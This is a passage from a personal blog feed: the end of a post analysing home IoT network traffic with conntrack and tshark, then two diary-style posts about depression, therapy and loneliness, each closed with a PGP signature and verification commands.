+ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
+ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
+ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
+ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
+ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
+ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
+

5) Part of Raw packet capture

+
    +
  • What’s inside?
  • +
+
tshark -r iot_ap_120s.pcap -q -z io,stat,60
+
+
+==================================
+| IO Statistics                  |
+|                                |
+| Duration: 119.773534 secs      |
+| Interval:  60 secs             |
+|                                |
+| Col 1: Frames and bytes        |
+|--------------------------------|
+|            |1                  |
+| Interval   | Frames |   Bytes  |
+|--------------------------------|
+|   0 <>  60 |    400 |    60449 |
+|  60 <> Dur |  24672 | 30179911 |
+==================================
+
    +
  • Protocol hierarchy (what kinds of traffic?)
  • +
+
❯ tshark -r iot_ap_120s.pcap -q -z io,phs
+
+===================================================================
+Protocol Hierarchy Statistics
+Filter: 
+
+eth                                      frames:25072 bytes:30240360
+  ip                                     frames:24706 bytes:30195993
+    udp                                  frames:349 bytes:94583
+      mdns                               frames:241 bytes:60693
+      data                               frames:32 bytes:2240
+      quic                               frames:76 bytes:31650
+        quic                             frames:2 bytes:2484
+    tcp                                  frames:24353 bytes:30101226
+      tls                                frames:2413 bytes:3493680
+        tcp.segments                     frames:2256 bytes:3378795
+          tls                            frames:2222 bytes:3353799
+      data                               frames:147 bytes:71717
+      tcp.segments                       frames:5 bytes:7550
+    igmp                                 frames:4 bytes:184
+  arp                                    frames:150 bytes:6300
+  ipv6                                   frames:216 bytes:38067
+    icmpv6                               frames:124 bytes:10704
+    udp                                  frames:79 bytes:25415
+      data                               frames:2 bytes:132
+      mdns                               frames:77 bytes:25283
+    tcp                                  frames:13 bytes:1948
+      data                               frames:1 bytes:90
+===================================================================
+
    +
  • Top IP conversations (who talked to whom?)
  • +
+
❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
+================================================================================
+IPv4 Conversations
+Filter:<No Filter>
+                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
+                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
+192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
+192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
+192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
+192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
+192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
+192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
+192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
+192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
+192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
+192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
+192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
+17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
+192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
+192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
+192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
+192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
+192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
+192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
+192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
+192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
+192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
+192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
+192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
+192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
+192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
+192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
+192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
+192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
+192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
+192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
+192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
+192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
+192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
+192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
+192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
+================================================================================
+
    +
  • Fast “top talkers” table (by source IP)
  • +
+
❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
+  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
+  | sort -k2,2nr | head -n 20
+17.253.37.195        29540349
+192.168.50.202         422414
+192.168.50.1            75521
+2.19.120.151            44554
+17.253.53.202           22016
+1.1.1.1                 20675
+23.58.105.122            9936
+17.56.138.35             7602
+192.168.50.233           7346
+192.168.50.118           7216
+192.168.50.131           7216
+17.253.53.203            7040
+54.217.122.41            6271
+192.168.50.216           5392
+192.168.50.104           3058
+192.168.50.189           2278
+17.242.218.132           1802
+192.168.50.134           1750
+192.168.50.196           1653
+3.122.71.119              639
+
    +
  • DNS & mDNS highlights (what names show up?)
  • +
+
# DNS queries (unicast)
+❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
+  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
+Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
+Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
+Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
+Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
+Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
+Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
+Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
+Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
+Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
+Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
+Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
+Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
+Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
+Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
+Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
+Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
+Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
+Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
+Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
+Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
+
+# mDNS service announcements (AirPlay/HomeKit live here)
+❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
+  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
+  | head -n 30
+

The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

+
    +
  • TLS SNI (which cloud endpoints?)
  • +
+
❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
+  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
+  | sort | uniq -c | sort -k1,1nr | head -n 20
+   1 1.1.1.1	one.one.one.one
+   1 17.253.37.195	streamingaudio.itunes.apple.com
+   1 17.253.53.202	pancake.apple.com
+   1 17.253.53.203	radio-activity.itunes.apple.com
+   1 17.56.138.35	cma.itunes.apple.com
+   1 2.19.120.151	play.itunes.apple.com
+   1 23.58.105.122	librarydaap.itunes.apple.com
+   1 54.217.122.41	guzzoni.apple.com
+
    +
  • Ports in use (quick heat check)
  • +
+
❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
+  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
+  | sort -k2,2nr | head -n 20
+64725       19588
+443          4086
+5353          318
+49395         109
+7000          109
+55514         102
+55510         101
+64721          47
+54806          40
+20002          32
+64722          27
+8883           23
+49154          21
+55515          21
+64723          19
+64728          19
+64729          19
+5223           14
+64724          14
+64686          13
+

+

Epilogue

+

I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
+jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
+ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
+dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
+a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
+HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
+wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
+Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
+xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
+T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
+aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
+OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
+=bk46
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
+curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
+gpg --verify house_upgrade.md.asc house_upgrade.md
+  
+
+ + +]]>
The Loop of Doomhttps://blog.alipour.eu/posts/loop_of_doom/Fri, 07 Nov 2025 13:45:52 +0000https://blog.alipour.eu/posts/loop_of_doom/<p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&rsquo;ve been feeling more down, sad, exhausted. I&rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&rsquo;s exhausting.</p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

+

Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

+

I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

+

I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

+

This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

+

This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

+

Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

+

I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

+

It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

+

I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

+
    +
  • Going for short walks
  • +
  • Doing small tasks that make me feel good
  • +
  • idk… I don’t remember anything else.
  • +
+

ChatGPT also gave me some advice, I’ll copy it here:

+
# 14‑Day Reset — Daily Checklist
+
+**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
+
+### How to use (60 seconds)
+
+* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
+* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
+* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
+* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
+
+### Define today’s Minimum Reliable Dose (MRD)
+
+*(Write clear, tiny actions with a start line → action → done proof.)*
+
+* **Study MRD:** ________________________________________________________________
+* ---
+* **Work/Code MRD:** ____________________________________________________________
+* ---
+
+---
+
+### Daily tracker (14 days)
+
+| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
+| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
+| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
+| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
+| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
+
+---
+
+### Quick reference
+
+**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
+
+**Code — restart protocol:**
+
+1. Open repo → `git status` → run tests/linter → open last‑changed file.
+2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
+3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
+
+---
+
+### Safety net (Germany)
+
+* **Emergency:** 112
+* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
+  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
+

Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

+

But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

+

Darn. That is a lot. Lot of bad things. Back to back to back.

+

Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

+

I try to keep ya’ll, the empty list of people, updated.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
+jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
+uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
+mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
+g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
+X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
+TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
+bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
+PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
+2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
+XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
+f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
+=Cuma
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md
+curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md.asc
+gpg --verify loop_of_doom.md.asc loop_of_doom.md
+  
+
+ + +]]>
Cupid is so dumbhttps://blog.alipour.eu/posts/cupid/Tue, 04 Nov 2025 19:35:16 +0000https://blog.alipour.eu/posts/cupid/<p>The lyrics are being played in my brain day and night.</p> +<p>&ldquo;A hopeless romantic all my life&rdquo;</p> +<p>&ldquo;Surrounded by couples all the time&rdquo;</p> +<p>&ldquo;I guess I should take it as a sign&rdquo;</p> +<p>But&hellip; &ldquo;I gave a second chance to Cupid&rdquo;</p> +<p>&ldquo;But now I&rsquo;m left here feelin&rsquo; stupid&rdquo;</p> +<p>I might&rsquo;ve given more than two chances to cupid.</p> +<p>But I&rsquo;m still left here felling&rsquo; stupid.</p> +<p>&ldquo;I look for his arrows every day&rdquo;</p>The lyrics are being played in my brain day and night.

+

“A hopeless romantic all my life”

+

“Surrounded by couples all the time”

+

“I guess I should take it as a sign”

+

But… “I gave a second chance to Cupid”

+

“But now I’m left here feelin’ stupid”

+

I might’ve given more than two chances to cupid.

+

But I’m still left here felling’ stupid.

+

“I look for his arrows every day”

+

“I guess he got lost or flew away”

+

But does it matter anymore? +It shouldn’t. It really shouldn’t.

+

Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

+

Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

+

The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

+

I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

+

I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

+

I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

+

For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

+

I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

+

Credit: Cupid by FIFTY FIFTY

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
+jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
+CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
+YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
+2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
+HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
+ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
+oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
+wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
+7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
+mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
+91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
+=sXgB
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md
+curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md.asc
+gpg --verify cupid.md.asc cupid.md
+  
+
+ + +]]>
